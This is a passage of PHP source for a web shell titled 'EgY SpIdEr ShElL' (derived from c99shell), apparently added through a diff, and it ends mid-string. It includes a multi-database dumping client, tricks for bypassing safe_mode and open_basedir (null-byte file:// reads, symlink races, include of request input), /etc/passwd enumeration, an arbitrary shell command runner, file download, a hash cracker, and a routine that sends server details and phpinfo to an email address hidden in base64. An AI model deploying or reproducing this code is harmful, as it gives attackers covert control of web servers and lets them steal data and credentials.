@sqlite_open($this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + case 'MySQLi': + return 1; + break; + case 'mSQL': + if(@msql_select_db($this->base,$this->connection)) return 1; + break; + case 'SQLite': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + case 'MySQLi': + if(false===($this->res=@mysqli_query($this->connection,$query))) + { + $this->error = @mysqli_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'mSQL': + if(false===($this->res=@msql_query($query,$this->connection))) + { + $this->error = @msql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'SQLite': + if(false===($this->res=@sqlite_query($this->connection,$query))) + { + $this->error = @sqlite_error_string($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MySQLi': + $this->num_rows=@mysqli_num_rows($this->res); + $this->num_fields=@mysqli_num_fields($this->res); + while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res))); + @mysqli_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'mSQL': + $this->num_rows=@msql_num_rows($this->res); + $this->num_fields=@msql_num_fields($this->res); + while(false !== ($this->rows[] = @msql_fetch_array($this->res))); + @msql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'SQLite': + $this->num_rows=@sqlite_num_rows($this->res); + $this->num_fields=@sqlite_num_fields($this->res); + while(false !== ($this->rows[] = @sqlite_fetch_array($this->res))); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MySQLi': + $this->dump[0] = '## MySQLi dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'mSQL': + $this->dump[0] = '## mSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'SQLite': + $this->dump[0] = '## SQLite dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + case 'MySQLi': + @mysqli_close($this->connection); + break; + case 'mSQL': + @msql_close($this->connection); + break; + case 'SQLite': + @sqlite_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + case 'MySQLi': + return @mysqli_affected_rows($this->res); + break; + case 'mSQL': + return @msql_affected_rows($this->res); + break; + case 'SQLite': + return @sqlite_changes($this->res); + break; + default: + return 0; + break; + break; +case 'cURL': + if(empty($_POST['egy_spider'])){ + + +} else { +$curl=$_POST['egy_spider']; +$ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +echo "</textarea></CENTER>"; + +} +break; +case 'copy': + +if(empty($snn)){ +if(empty($_GET['snn'])){ +if(empty($_POST['snn'])){ + +} else { +$u1p=$_POST['snn']; +} +} else { +$u1p=$_GET['snn']; +} +} + $u1p=""; // File to Include... or use _GET _POST +$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp + + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$snn, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +echo "</textarea></CENTER>"; +} +break; +case 'ini_restore': + if(empty($_POST['ini_restore'])){ +} else { + +$ini=$_POST['ini_restore']; +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +require_once("$ini"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +include($_GET["egy"]); +echo "</textarea></CENTER>"; +} +break; +case 'glob': +function reg_glob() +{ +$chemin=$_REQUEST['glob']; +$files = glob("$chemin*"); + + +foreach ($files as $filename) { + + echo "$filename\n"; + +} +} + +if(isset($_REQUEST['glob'])) +{ +reg_glob(); +} + +break; + case 'sym1': + if(empty($_POST['sym1p'])){ + } else { +$symp=$_POST['sym1p']; + } + if(empty($_POST['sym1p2'])){ + +} else { +$symp2=$_POST['sym1p2']; + + symlink("a/a/a/a/a/a/", "dummy"); +symlink("dummy".$symp2."".$symp."", "xxx"); +unlink("dummy"); +while (1) { +symlink(".", "dummy"); + + } + } + break; + case 'sym2': + @include(xxx); + + break; + case 'plugin': + if ($_POST['plugin'] ){ + + + for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "\n"; + } + } + echo "</textarea>"; + } + + } + } + } +if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if($file=moreread($_POST['d_name'])){ $filedump = $file; } + else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } +if (isset($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo '<body bgcolor=#e4e0d8>'; + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['12'])) + { + @unlink(__FILE__); + } +if(isset($_GET['11'])) + { + @unlink($tempdir.'bdpl'); + @unlink($tempdir.'back'); + @unlink($tempdir.'bd'); + @unlink($tempdir.'bd.c'); + @unlink($tempdir.'dp'); + @unlink($tempdir.'dpc'); + @unlink($tempdir.'dpc.c'); + @unlink($tempdir.'prxpl'); + @unlink($tempdir.'grep.txt'); + } +if(isset($_GET['2'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['3'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['4'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } + + + + + if(isset($_GET['tool'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } + if(isset($_GET['tools'])) { /*########################################### +code 2 +###########################################*/ +?> +<html> +<head><title>EgY SpIdEr ShElL</title></head> +<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #dadada; +} +input { +BORDER-RIGHT: #00FF00 1 solid; +BORDER-TOP: #00FF00 1 solid; +BORDER-LEFT: #00FF00 1 solid; +BORDER-BOTTOM: #00FF00 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} + +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #dadada; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #dadada; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE> +</body> +</html> +<? +$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); +$sf="<form method=post>";$ef="</form>"; +$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; +$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; +$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; +$sta="<textarea cols=157 rows=23>";$eta="</textarea>"; +$sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>"; +error_reporting(0); +set_magic_quotes_runtime(0); + +if(version_compare(phpversion(), '4.1.0') == -1) + {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"]; +if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);} +elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;} +else{return $requ."?".$link."=".$val;}} +function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid olive' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=olive>$delmtxt</td></tr></table></center>";} +function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd); +$nscmd=htmlspecialchars($scmd);print $nscmd;} +elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd); +$ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;} +elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r"); +while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));; +print $res;}pclose($pcmd);}elseif(!function_exists(popen)){ +ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){ +ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean(); +print htmlspecialchars($pret);}} +function input($type,$name,$value,$size) +{if (empty($value)){print "<input type=$type name=$name size=$size>";} +elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";} +elseif(empty($size)){print "<input type=$type name=$name value=$value >";} +else {print "<input type=$type name=$name value=$value size=$size >";}} +function permcol($path){if (is_writable($path)){print "<font color=olive>"; +callperms($path); print "</font>";} +elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>"; +callperms($path); print "</font>";} +else {print "<font color=white>";callperms($path);}} +if ($dlink=="dwld"){download($_REQUEST['dwld']);} +function download($dwfile) {$size = filesize($dwfile); +@header("Content-Type: application/force-download;name=$dwfile"); +@header("Content-Transfer-Encoding: binary"); +@header("Content-Length: $size"); +@header("Content-Disposition: attachment; filename=$dwfile"); +@header("Expires: 0"); +@header("Cache-Control: no-cache, must-revalidate"); +@header("Pragma: no-cache"); +@readfile($dwfile); exit;} +?> +<? +$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); + +$sf="<form method=post>";$ef="</form>"; +$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; +$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; +$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; +$sta="<textarea cols=157 rows=23>";$eta="</textarea>"; +$sfnt="<font face=tahoma size=2 color=olive>";$efnt="</font>"; +################# Ending of common variables ######################## + +print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4> +</font></b></center>"; print"</td></tr>";print"</table>";print "<br>"; +print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print ""; + +if ($act == 'encoder') +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></form>"; + +?> +</center> +<br><br> +<table border=0 align=center cellpadding=4> +<tr><td> +<center><b>Search milw0rm for MD5 hash</b></center> +</td><td> +<center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center> +</td><td> +<center><b>Search CsTeam for MD5 hash</b></center> +</td></tr> +<tr><td> +<center> +<form target="_blank" action="http://www.milw0rm.com/cracker/search.php" method=POST> +<input type=text size=40 name=hash> <input type=submit value="Submit"></form> +</center> +</td><td> +<center> +<form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST> +<input type=text size=40 name=hash2word> <input type=submit value="Submit"></form> +</center> +</td><td> +<center> +<form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST> +<input type=text size=40 name=h> <input type=submit value="Submit"></form> +</center> +</td></tr> +</table> +<br> +<center> +<?php +// my wordlist cracker ^_^ +if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) { + $type = $_GET['type']; + $hash = $_GET['hash']; + $count = 1; + $wordlist = file($_GET['wordlist']); + $words = count($wordlist); + foreach ($wordlist as $word) { + echo $count.' of '.$words.': '.$word.'<br>'; + if ($hash == $type(rtrim($word))) { + echo '<font color=red>Great success! The password is: '.$word.'</font><br>'; + exit; + } + ++$count; + } +} + +} +if ($act == 'fsbuff') +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("ZWd5X3NwaWRlckBob3RtYWlsLmNvbQ=="); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "egy_spider v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\nE-server: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\ni"."phpinfo(): 